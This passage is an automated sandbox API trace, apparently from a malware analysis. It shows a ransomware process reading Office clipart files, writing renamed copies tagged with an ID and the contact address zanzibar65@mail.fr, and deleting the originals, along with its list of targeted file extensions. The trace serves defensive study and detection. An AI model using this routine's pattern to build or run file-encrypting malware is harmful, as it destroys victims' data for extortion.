out: lpNewFilePointer=0x0) returned 1 [0270.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0270.794] GetLastError () returned 0x0 [0270.794] ReadFile (in: hFile=0x384, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x760, lpOverlapped=0x0) returned 1 [0270.795] WriteFile (in: hFile=0x380, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x770, lpOverlapped=0x0) returned 1 [0270.796] ReadFile (in: hFile=0x384, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.796] WriteFile (in: hFile=0x380, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.796] SetEndOfFile (hFile=0x380) returned 1 [0270.796] CloseHandle (hObject=0x380) returned 1 [0270.796] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.796] SetEndOfFile (hFile=0x384) returned 1 [0270.798] CloseHandle (hObject=0x384) returned 1 [0270.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0270.798] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf")) returned 1 [0270.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0270.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0270.799] lstrlenW (lpString=".doc") returned 4 [0270.799] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.799] lstrlenW (lpString=".docx") returned 5 [0270.799] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.799] lstrlenW (lpString=".pdf") returned 4 [0270.799] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.799] lstrlenW (lpString=".xls") returned 4 [0270.799] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.799] lstrlenW (lpString=".xlsx") returned 5 [0270.799] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.799] lstrlenW (lpString=".ppt") returned 4 [0270.799] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0270.799] lstrlenW (lpString=".zip") returned 4 [0270.799] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.799] lstrlenW (lpString=".rar") returned 4 [0270.799] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.799] lstrlenW (lpString=".bz2") returned 4 [0270.799] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.800] lstrlenW (lpString=".7z") returned 3 [0270.800] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0270.800] lstrlenW (lpString=".dbf") returned 4 [0270.800] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0270.800] lstrlenW (lpString=".1cd") returned 4 [0270.800] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0270.800] lstrlenW (lpString=".jpg") returned 4 [0270.800] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0270.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0270.800] lstrlenW (lpString=".doc") returned 4 [0270.800] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.800] lstrlenW (lpString=".docx") returned 5 [0270.800] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.800] lstrlenW (lpString=".pdf") returned 4 [0270.800] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.800] lstrlenW (lpString=".xls") returned 4 [0270.800] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.800] lstrlenW (lpString=".xlsx") returned 5 [0270.800] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.800] lstrlenW (lpString=".ppt") returned 4 [0270.800] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0270.800] lstrlenW (lpString=".zip") returned 4 [0270.800] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.800] lstrlenW (lpString=".rar") returned 4 [0270.800] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.800] lstrlenW (lpString=".bz2") returned 4 [0270.800] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.801] lstrlenW (lpString=".7z") returned 3 [0270.801] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0270.801] lstrlenW (lpString=".dbf") returned 4 [0270.801] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0270.801] lstrlenW (lpString=".1cd") returned 4 [0270.801] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0270.801] lstrlenW (lpString=".jpg") returned 4 [0270.801] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.801] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0270.801] lstrlenW (lpString="DD01178_.WMF") returned 12 [0270.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0270.801] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=3796) returned 1 [0270.801] CloseHandle (hObject=0x384) returned 1 [0270.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf")) returned 0x20 [0270.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0270.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0270.802] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.802] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0270.805] GetLastError () returned 0x0 [0270.805] ReadFile (in: hFile=0x384, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0xed4, lpOverlapped=0x0) returned 1 [0270.812] WriteFile (in: hFile=0x2f0, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xee0, lpOverlapped=0x0) returned 1 [0270.813] ReadFile (in: hFile=0x384, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.813] WriteFile (in: hFile=0x2f0, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.813] SetEndOfFile (hFile=0x2f0) returned 1 [0270.813] CloseHandle (hObject=0x2f0) returned 1 [0270.813] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.813] SetEndOfFile (hFile=0x384) returned 1 [0271.016] CloseHandle (hObject=0x384) returned 1 [0271.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.157] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf")) returned 1 [0271.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0271.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0271.157] lstrlenW (lpString=".doc") returned 4 [0271.157] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.157] lstrlenW (lpString=".docx") returned 5 [0271.157] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.157] lstrlenW (lpString=".pdf") returned 4 [0271.157] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.157] lstrlenW (lpString=".xls") returned 4 [0271.157] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.157] lstrlenW (lpString=".xlsx") returned 5 [0271.157] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.157] lstrlenW (lpString=".ppt") returned 4 [0271.158] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0271.158] lstrlenW (lpString=".zip") returned 4 [0271.158] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.158] lstrlenW (lpString=".rar") returned 4 [0271.158] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.158] lstrlenW (lpString=".bz2") returned 4 [0271.158] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.158] lstrlenW (lpString=".7z") returned 3 [0271.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0271.158] lstrlenW (lpString=".dbf") returned 4 [0271.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0271.158] lstrlenW (lpString=".1cd") returned 4 [0271.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0271.158] lstrlenW (lpString=".jpg") returned 4 [0271.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0271.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0271.158] lstrlenW (lpString=".doc") returned 4 [0271.158] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.158] lstrlenW (lpString=".docx") returned 5 [0271.158] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.158] lstrlenW (lpString=".pdf") returned 4 [0271.158] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.158] lstrlenW (lpString=".xls") returned 4 [0271.158] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.158] lstrlenW (lpString=".xlsx") returned 5 [0271.158] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.158] lstrlenW (lpString=".ppt") returned 4 [0271.159] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0271.159] lstrlenW (lpString=".zip") returned 4 [0271.159] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.159] lstrlenW (lpString=".rar") returned 4 [0271.159] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.159] lstrlenW (lpString=".bz2") returned 4 [0271.159] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.159] lstrlenW (lpString=".7z") returned 3 [0271.159] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0271.159] lstrlenW (lpString=".dbf") returned 4 [0271.159] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0271.159] lstrlenW (lpString=".1cd") returned 4 [0271.159] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0271.159] lstrlenW (lpString=".jpg") returned 4 [0271.159] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.160] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0271.160] lstrlenW (lpString="DD01183_.WMF") returned 12 [0271.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0271.160] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=2296) returned 1 [0271.160] CloseHandle (hObject=0x30c) returned 1 [0271.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x20 [0271.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0271.160] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.160] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0271.161] GetLastError () returned 0x0 [0271.161] ReadFile (in: hFile=0x30c, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0271.164] WriteFile (in: hFile=0x304, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x900, lpOverlapped=0x0) returned 1 [0271.165] ReadFile (in: hFile=0x30c, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.165] WriteFile (in: hFile=0x304, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.165] SetEndOfFile (hFile=0x304) returned 1 [0271.166] CloseHandle (hObject=0x304) returned 1 [0271.166] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.166] SetEndOfFile (hFile=0x30c) returned 1 [0271.170] CloseHandle (hObject=0x30c) returned 1 [0271.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.193] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf")) returned 1 [0271.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0271.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0271.194] lstrlenW (lpString=".doc") returned 4 [0271.194] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.194] lstrlenW (lpString=".docx") returned 5 [0271.194] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.194] lstrlenW (lpString=".pdf") returned 4 [0271.194] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.194] lstrlenW (lpString=".xls") returned 4 [0271.194] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.194] lstrlenW (lpString=".xlsx") returned 5 [0271.194] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.194] lstrlenW (lpString=".ppt") returned 4 [0271.194] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0271.194] lstrlenW (lpString=".zip") returned 4 [0271.194] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.194] lstrlenW (lpString=".rar") returned 4 [0271.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.194] lstrlenW (lpString=".bz2") returned 4 [0271.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.194] lstrlenW (lpString=".7z") returned 3 [0271.194] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0271.194] lstrlenW (lpString=".dbf") returned 4 [0271.194] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0271.194] lstrlenW (lpString=".1cd") returned 4 [0271.194] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0271.195] lstrlenW (lpString=".jpg") returned 4 [0271.195] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0271.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0271.195] lstrlenW (lpString=".doc") returned 4 [0271.195] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.195] lstrlenW (lpString=".docx") returned 5 [0271.195] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.195] lstrlenW (lpString=".pdf") returned 4 [0271.195] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.195] lstrlenW (lpString=".xls") returned 4 [0271.195] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.195] lstrlenW (lpString=".xlsx") returned 5 [0271.195] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.195] lstrlenW (lpString=".ppt") returned 4 [0271.195] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0271.195] lstrlenW (lpString=".zip") returned 4 [0271.195] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.195] lstrlenW (lpString=".rar") returned 4 [0271.195] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.195] lstrlenW (lpString=".bz2") returned 4 [0271.195] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.195] lstrlenW (lpString=".7z") returned 3 [0271.195] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0271.195] lstrlenW (lpString=".dbf") returned 4 [0271.196] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0271.196] lstrlenW (lpString=".1cd") returned 4 [0271.196] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0271.196] lstrlenW (lpString=".jpg") returned 4 [0271.196] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.196] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0271.196] lstrlenW (lpString="DD01434_.WMF") returned 12 [0271.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.316] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=900) returned 1 [0271.316] CloseHandle (hObject=0x388) returned 1 [0271.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf")) returned 0x20 [0271.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0271.427] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.427] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0271.434] GetLastError () returned 0x0 [0271.434] ReadFile (in: hFile=0x37c, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x384, lpOverlapped=0x0) returned 1 